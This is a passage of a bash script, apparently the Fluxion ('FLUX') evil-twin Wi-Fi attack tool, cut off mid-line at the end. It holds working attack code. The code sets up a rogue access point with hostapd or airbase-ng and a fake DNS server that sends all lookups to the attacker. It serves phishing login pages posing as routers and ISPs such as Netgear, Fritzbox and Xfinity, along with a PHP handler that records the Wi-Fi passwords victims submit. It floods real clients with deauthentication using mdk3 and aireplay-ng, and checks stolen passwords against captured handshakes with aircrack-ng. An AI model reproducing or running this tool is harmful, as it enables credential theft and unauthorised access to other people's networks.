DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ARA NEUTRA break elif [ "$webconf" = "13" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GR DIALOG_WEB_OK=$DIALOG_WEB_OK_GR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_GR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_GR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_GR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_GR NEUTRA break elif [ "$webconf" = "14" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_CZ DIALOG_WEB_INFO=$DIALOG_WEB_INFO_CZ DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_CZ DIALOG_WEB_OK=$DIALOG_WEB_OK_CZ DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_CZ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_CZ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_CZ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_CZ DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_CZ DIALOG_WEB_DIR=$DIALOG_WEB_DIR_CZ NEUTRA break elif [ "$webconf" = "15" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_NO DIALOG_WEB_INFO=$DIALOG_WEB_INFO_NO DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_NO DIALOG_WEB_OK=$DIALOG_WEB_OK_NO DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_NO DIALOG_WEB_BACK=$DIALOG_WEB_BACK_NO DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_NO DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_NO DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_NO DIALOG_WEB_DIR=$DIALOG_WEB_DIR_NO NEUTRA break elif [ "$webconf" = "16" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_BG DIALOG_WEB_INFO=$DIALOG_WEB_INFO_BG DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_BG DIALOG_WEB_OK=$DIALOG_WEB_OK_BG DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_BG DIALOG_WEB_BACK=$DIALOG_WEB_BACK_BG DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_BG DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_BG DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_BG DIALOG_WEB_DIR=$DIALOG_WEB_DIR_BG NEUTRA break elif [ "$webconf" = "17" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_SRB DIALOG_WEB_INFO=$DIALOG_WEB_INFO_SRB DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_SRB DIALOG_WEB_OK=$DIALOG_WEB_OK_SRB DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_SRB DIALOG_WEB_BACK=$DIALOG_WEB_BACK_SRB DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_SRB DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_SRB DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_SRB DIALOG_WEB_DIR=$DIALOG_WEB_DIR_SRB NEUTRA break elif [ "$webconf" = "18" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PL DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PL DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PL DIALOG_WEB_OK=$DIALOG_WEB_OK_PL DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_PL DIALOG_WEB_BACK=$DIALOG_WEB_BACK_PL DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_PL DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PL DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PL DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PL NEUTRA break elif [ "$webconf" = "19" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ID DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ID DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ID DIALOG_WEB_OK=$DIALOG_WEB_OK_ID DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ID DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ID DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ID DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ID DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ID DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ID NEUTRA break elif [ "$webconf" = "20" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_NL DIALOG_WEB_INFO=$DIALOG_WEB_INFO_NL DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_NL DIALOG_WEB_OK=$DIALOG_WEB_OK_NL DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_NL DIALOG_WEB_BACK=$DIALOG_WEB_BACK_NL DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_NL DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_NL DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_NL DIALOG_WEB_DIR=$DIALOG_WEB_DIR_NL NEUTRA break elif [ "$webconf" = 21 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_DAN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_DAN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_DAN DIALOG_WEB_OK=$DIALOG_WEB_OK_DAN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_DAN DIALOG_WEB_BACK=$DIALOG_WEB_BACK_DAN DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_DAN DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_DAN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_DAN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_DAN NEUTRA break elif [ "$webconf" = 22 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_HE DIALOG_WEB_INFO=$DIALOG_WEB_INFO_HE DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_HE DIALOG_WEB_OK=$DIALOG_WEB_OK_HE DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_HE DIALOG_WEB_BACK=$DIALOG_WEB_BACK_HE DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_HE DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_HE DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_HE DIALOG_WEB_DIR=$DIALOG_WEB_DIR_HE NEUTRA break elif [ "$webconf" = 23 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_TH DIALOG_WEB_INFO=$DIALOG_WEB_INFO_TH DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_TH DIALOG_WEB_OK=$DIALOG_WEB_OK_TH DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_TH DIALOG_WEB_BACK=$DIALOG_WEB_BACK_TH DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_TH DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_TH DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_TH DIALOG_WEB_DIR=$DIALOG_WEB_DIR_TH NEUTRA break elif [ "$webconf" = 24 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_BR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_BR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_BR DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_BR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_BR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_BR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_BR NEUTRA break elif [ "$webconf" = 25 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_SVN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_SVN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_SVN DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_SVN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_SVN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_SVN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_SVN NEUTRA SVNeak elif [ "$webconf" = "26" ]; then BELKIN break elif [ "$webconf" = "27" ]; then NETGEAR break elif [ "$webconf" = "28" ]; then HUAWEI break elif [ "$webconf" = "29" ]; then VERIZON break elif [ "$webconf" = "30" ]; then NETGEAR2 break elif [ "$webconf" = "31" ]; then ARRIS2 break elif [ "$webconf" = "32" ]; then VODAFONE break elif [ "$webconf" = "33" ]; then TPLINK break elif [ "$webconf" = "34" ]; then ZIGGO_NL break elif [ "$webconf" = "35" ]; then KPN_NL break elif [ "$webconf" = "36" ]; then ZIGGO2016_NL break elif [ "$webconf" = "37" ]; then FRITZBOX_DE break elif [ "$webconf" = "38" ]; then FRITZBOX_ENG break elif [ "$webconf" = "39" ]; then GENEXIS_DE break elif [ "$webconf" = "40" ]; then Login-Netgear break elif [ "$webconf" = "41" ]; then Login-Xfinity break elif [ "$webconf" = "42" ]; then Telekom break elif [ "$webconf" = "43" ]; then google break elif [ "$webconf" = "44" ]; then MOVISTAR_ES break elif [ "$webconf" = "45" ]; then conditional_clear webinterface break fi done fi preattack attack } # Create different settings required for the script function preattack { # Config HostAPD echo "interface=$WIFI driver=nl80211 ssid=$Host_SSID channel=$Host_CHAN" > $DUMP_PATH/hostapd.conf # Creates PHP echo "<?php error_reporting(0); \$count_my_page = (\"$DUMP_PATH/hit.txt\"); \$hits = file(\$count_my_page); \$hits[0] ++; \$fp = fopen(\$count_my_page , \"w\"); fputs(\$fp , \$hits[0]); fclose(\$fp); // Receive form Post data and Saving it in variables \$key1 = @\$_POST['key1']; // Write the name of text file where data will be store \$filename = \"$DUMP_PATH/data.txt\"; \$filename2 = \"$DUMP_PATH/status.txt\"; \$intento = \"$DUMP_PATH/intento\"; \$attemptlog = \"$DUMP_PATH/pwattempt.txt\"; // Marge all the variables with text in a single variable. \$f_data= ''.\$key1.''; \$pwlog = fopen(\$attemptlog, \"w\"); fwrite(\$pwlog, \$f_data); fwrite(\$pwlog,\"\n\"); fclose(\$pwlog); \$file = fopen(\$filename, \"w\"); fwrite(\$file, \$f_data); fwrite(\$file,\"\n\"); fclose(\$file); \$archivo = fopen(\$intento, \"w\"); fwrite(\$archivo,\"\n\"); fclose(\$archivo); while( 1 ) { if (file_get_contents( \$intento ) == 1) { header(\"Location:error.html\"); unlink(\$intento); break; } if (file_get_contents( \$intento ) == 2) { header(\"Location:final.html\"); break; } sleep(1); } ?>" > $DUMP_PATH/data/check.php # Config DHCP echo "authoritative; default-lease-time 600; max-lease-time 7200; subnet $RANG_IP.0 netmask 255.255.255.0 { option broadcast-address $RANG_IP.255; option routers $IP; option subnet-mask 255.255.255.0; option domain-name-servers $IP; range $RANG_IP.100 $RANG_IP.250; }" > $DUMP_PATH/dhcpd.conf #create an empty leases file touch $DUMP_PATH/dhcpd.leases # creates Lighttpd web-server echo "server.document-root = \"$DUMP_PATH/data/\" server.modules = ( \"mod_access\", \"mod_alias\", \"mod_accesslog\", \"mod_fastcgi\", \"mod_redirect\", \"mod_rewrite\" ) fastcgi.server = ( \".php\" => (( \"bin-path\" => \"/usr/bin/php-cgi\", \"socket\" => \"/php.socket\" ))) server.port = 80 server.pid-file = \"/var/run/lighttpd.pid\" # server.username = \"www\" # server.groupname = \"www\" mimetype.assign = ( \".html\" => \"text/html\", \".htm\" => \"text/html\", \".txt\" => \"text/plain\", \".jpg\" => \"image/jpeg\", \".png\" => \"image/png\", \".css\" => \"text/css\" ) server.error-handler-404 = \"/\" static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) index-file.names = ( \"index.htm\", \"index.html\" ) \$SERVER[\"socket\"] == \":443\" { url.redirect = ( \"^/(.*)\" => \"http://www.internet.com\") ssl.engine = \"enable\" ssl.pemfile = \"$DUMP_PATH/server.pem\" } #Redirect www.domain.com to domain.com \$HTTP[\"host\"] =~ \"^www\.(.*)$\" { url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) ssl.engine = \"enable\" ssl.pemfile = \"$DUMP_PATH/server.pem\" } " >$DUMP_PATH/lighttpd.conf # that redirects all DNS requests to the gateway echo "import socket class DNSQuery: def __init__(self, data): self.data=data self.dominio='' tipo = (ord(data[2]) >> 3) & 15 if tipo == 0: ini=12 lon=ord(data[ini]) while lon != 0: self.dominio+=data[ini+1:ini+lon+1]+'.' ini+=lon+1 lon=ord(data[ini]) def respuesta(self, ip): packet='' if self.dominio: packet+=self.data[:2] + \"\x81\x80\" packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' packet+=self.data[12:] packet+='\xc0\x0c' packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) return packet if __name__ == '__main__': ip='$IP' print 'pyminifakeDwebconfNS:: dom.query. 60 IN A %s' % ip udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udps.bind(('',53)) try: while 1: data, addr = udps.recvfrom(1024) p=DNSQuery(data) udps.sendto(p.respuesta(ip), addr) print 'Request: %s -> %s' % (p.dominio, ip) except KeyboardInterrupt: print 'Finalizando' udps.close()" > $DUMP_PATH/fakedns chmod +x $DUMP_PATH/fakedns } # Set up DHCP / WEB server # Set up DHCP / WEB server function routear { ifconfig $interfaceroutear up ifconfig $interfaceroutear $IP netmask 255.255.255.0 route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP sysctl -w net.ipv4.ip_forward=1 &>$flux_output_device iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain iptables -P FORWARD ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443 iptables -A INPUT -p tcp --sport 443 -j ACCEPT iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT iptables -t nat -A POSTROUTING -j MASQUERADE } # Attack function attack { interfaceroutear=$WIFI handshakecheck nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) if [ "$fakeapmode" = "hostapd" ]; then ifconfig $WIFI down sleep 0.4 macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device sleep 0.4 ifconfig $WIFI up sleep 0.4 fi if [ $fakeapmode = "hostapd" ]; then killall hostapd &> $flux_output_device xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & elif [ $fakeapmode = "airbase-ng" ]; then killall airbase-ng &> $flux_output_device xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & fi sleep 5 routear & sleep 3 killall dhcpd &> $flux_output_device fuser -n tcp -k 53 67 80 &> $flux_output_device fuser -n udp -k 53 67 80 &> $flux_output_device xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -lf "$DUMP_PATH/dhcpd.leases" -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e "if type python2 >/dev/null 2>/dev/null; then python2 $DUMP_PATH/fakedns; else python $DUMP_PATH/fakedns; fi" & lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device killall aireplay-ng &> $flux_output_device killall mdk3 &> $flux_output_device echo "$Host_MAC" >$DUMP_PATH/mdk3.txt xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3] $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck & conditional_clear while true; do top echo -e ""$red"["$yellow"2"$red"]"$transparent" Attack in progress .." echo " " echo " 1) Choose another network" echo " 2) Exit" echo " " echo -n ' #> ' read yn case $yn in 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; 2 ) matartodo; exitmode; break;; * ) echo " $general_case_error"; conditional_clear ;; esac done } # Checks the validity of the password function handshakecheck { echo "#!/bin/bash echo > $DUMP_PATH/data.txt echo -n \"0\"> $DUMP_PATH/hit.txt echo "" >$DUMP_PATH/loggg tput civis clear minutos=0 horas=0 i=0 timestamp=\$(date +%s) while true; do segundos=\$i dias=\`expr \$segundos / 86400\` segundos=\`expr \$segundos % 86400\` horas=\`expr \$segundos / 3600\` segundos=\`expr \$segundos % 3600\` minutos=\`expr \$segundos / 60\` segundos=\`expr \$segundos % 60\` if [ \"\$segundos\" -le 9 ]; then is=\"0\" else is= fi if [ \"\$minutos\" -le 9 ]; then im=\"0\" else im= fi if [ \"\$horas\" -le 9 ]; then ih=\"0\" else ih= fi">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "if [ -f $DUMP_PATH/pwattempt.txt ]; then cat $DUMP_PATH/pwattempt.txt >> \"$PASSLOG_PATH/$Host_SSID-$Host_MAC.log\" rm -f $DUMP_PATH/pwattempt.txt fi if [ -f $DUMP_PATH/intento ]; then if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then echo \"2\">$DUMP_PATH/intento break else echo \"1\">$DUMP_PATH/intento fi fi">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo " if [ -f $DUMP_PATH/pwattempt.txt ]; then cat $DUMP_PATH/pwattempt.txt >> $PASSLOG_PATH/$Host_SSID-$Host_MAC.log rm -f $DUMP_PATH/pwattempt.txt fi wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & if [ -f $DUMP_PATH/intento ]; then if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then echo \"2\">$DUMP_PATH/intento break else echo \"1\">$DUMP_PATH/intento fi fi ">>$DUMP_PATH/handcheck fi echo "readarray -t CLIENTESDHCP < <(nmap -PR -sn -n -oG - $RANG_IP.100-110 2>&1 | grep Host ) echo echo -e \" ACCESS POINT:\" echo -e \" SSID............: "$white"$Host_SSID"$transparent"\" echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" echo -e \" Vendor..........: "$green"$Host_MAC_MODEL"$transparent"\" echo -e \" Operation time..: "$blue"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" echo -e \" Clients.........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | awk '{print \$5}' | sort| uniq | wc -l)"$transparent"\" echo echo -e \" CLIENTS ONLINE:\" x=0 for cliente in \"\${CLIENTESDHCP[@]}\"; do x=\$((\$x+1)) CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) CLIENTE_MAC=\$(nmap -PR -sn -n \$CLIENTE_IP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:]) if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" fi CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) if echo \$CLIENTE_MAC| grep -q x; then CLIENTE_FABRICANTE=\"unknown\" fi CLIENTE_HOSTNAME=\$(grep \$CLIENTE_IP $DUMP_PATH/clientes.txt | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}') echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" done echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "let i=\$(date +%s)-\$timestamp sleep 1">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo "sleep 5 killall wpa_supplicant &>$flux_output_device killall wpa_passphrase &>$flux_output_device let i=\$i+5">>$DUMP_PATH/handcheck fi echo "done clear echo \"1\" > $DUMP_PATH/status.txt sleep 7 killall mdk3 &>$flux_output_device killall aireplay-ng &>$flux_output_device killall airbase-ng &>$flux_output_device kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device killall hostapd &>$flux_output_device killall lighttpd &>$flux_output_device killall dhcpd &>$flux_output_device killall wpa_supplicant &>$flux_output_device killall wpa_passphrase &>$flux_output_device echo \" FLUX $version by ghost SSID: $Host_SSID BSSID: $Host_MAC ($Host_MAC_MODEL) Channel: $Host_CHAN Security: $Host_ENC Time: \$ih\$horas:\$im\$minutos:\$is\$segundos Password: \$(cat $DUMP_PATH/data.txt) \" >\"$HOME/$Host_SSID-password.txt\"">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\" ">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo "echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck fi echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck chmod +x $DUMP_PATH/handcheck } ############################################# < ATTACK > ############################################ ############################################## < STUFF > ############################################ # Deauth all function deauthall { xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & } function deauthmdk3 { echo "$Host_MAC" >$DUMP_PATH/mdk3.txt xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating via mdk3 all clients on $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & mdk3PID=$! } # Deauth to a specific target function deauthesp { sleep 2 xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating client $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & } # Close all processes function matartodo { killall aireplay-ng &>$flux_output_device kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device killall hostapd &>$flux_output_device killall lighttpd &>$flux_output_device killall dhcpd &>$flux_output_device killall xterm &>$flux_output_device } ######################################### < INTERFACE WEB > ######################################## # Create the contents for the web interface function NEUTRA { if [ ! -d $DUMP_PATH/data ]; then mkdir $DUMP_PATH/data fi source $WORK_DIR/lib/site/index | base64 -d > $DUMP_PATH/file.zip unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device rm $DUMP_PATH/file.zip &>$flux_output_device echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> </head> <body> <!-- final page --> <div id=\"done\" data-role=\"page\" data-theme=\"a\"> <div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\"> <h3 style=\"text-align:center;\">$DIALOG_WEB_OK</h3> </div> </div> </body> </html>" > $DUMP_PATH/data/final.html echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> <script src=\"js/jquery.validate.min.js\"></script> <script src=\"js/additional-methods.min.js\"></script> </head> <body> <!-- Error page --> <div data-role=\"page\" data-theme=\"a\"> <div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\"> <h3 style=\"text-align:center;\">$DIALOG_WEB_ERROR</h3> <a href=\"index.htm\" class=\"ui-btn ui-corner-all ui-shadow\" onclick=\"location.href='index.htm'\">$DIALOG_WEB_BACK</a> </div> </div> </body> </html>" > $DUMP_PATH/data/error.html echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> <script src=\"js/jquery.validate.min.js\"></script> <script src=\"js/additional-methods.min.js\"></script> </head> <body> <!-- Main page --> <div data-role=\"page\" data-theme=\"a\"> <div class=\"ui-content\" dir=\"$DIALOG_WEB_DIR\"> <fieldset> <form id=\"loginForm\" class=\"ui-body ui-body-b ui-corner-all\" action=\"check.php\" method=\"POST\"> </br> <div class=\"ui-field-contain ui-responsive\" style=\"text-align:center;\"> <div>ESSID: <u>$Host_SSID</u></div> <div>BSSID: <u>$Host_MAC</u></div> <div>Channel: <u>$Host_CHAN</u></div> </div> <div style=\"text-align:center;\"> <br><label>$DIALOG_WEB_INFO</label></br> </div> <div class=\"ui-field-contain\" > <label for=\"key1\">$DIALOG_WEB_INPUT</label> <input id=\"key1\" data-clear-btn=\"true\" type=\"password\" value=\"\" name=\"key1\" maxlength=\"64\"/> </div> <input data-icon=\"check\" data-inline=\"true\" name=\"submitBtn\" type=\"submit\" value=\"$DIALOG_WEB_SUBMIT\"/> </form> </fieldset> </div> </div> <script src=\"js/main.js\"></script> <script> $.extend( $.validator.messages, { required: \"$DIALOG_WEB_ERROR_MSG\", maxlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MAX\" ), minlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MIN\" )}); </script> </body> </html>" > $DUMP_PATH/data/index.htm } # Functions to populate the content for the custom phishing pages function ARRIS { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ARRIS-ENG/* $DUMP_PATH/data } function BELKIN { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/belkin_eng/* $DUMP_PATH/data } function NETGEAR { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/netgear_eng/* $DUMP_PATH/data } function ARRIS2 { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/arris_esp/* $DUMP_PATH/data } function NETGEAR2 { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/netgear_esp/* $DUMP_PATH/data } function TPLINK { mkdir $DUMP_PATH/data &>$flux_output_device cp -r 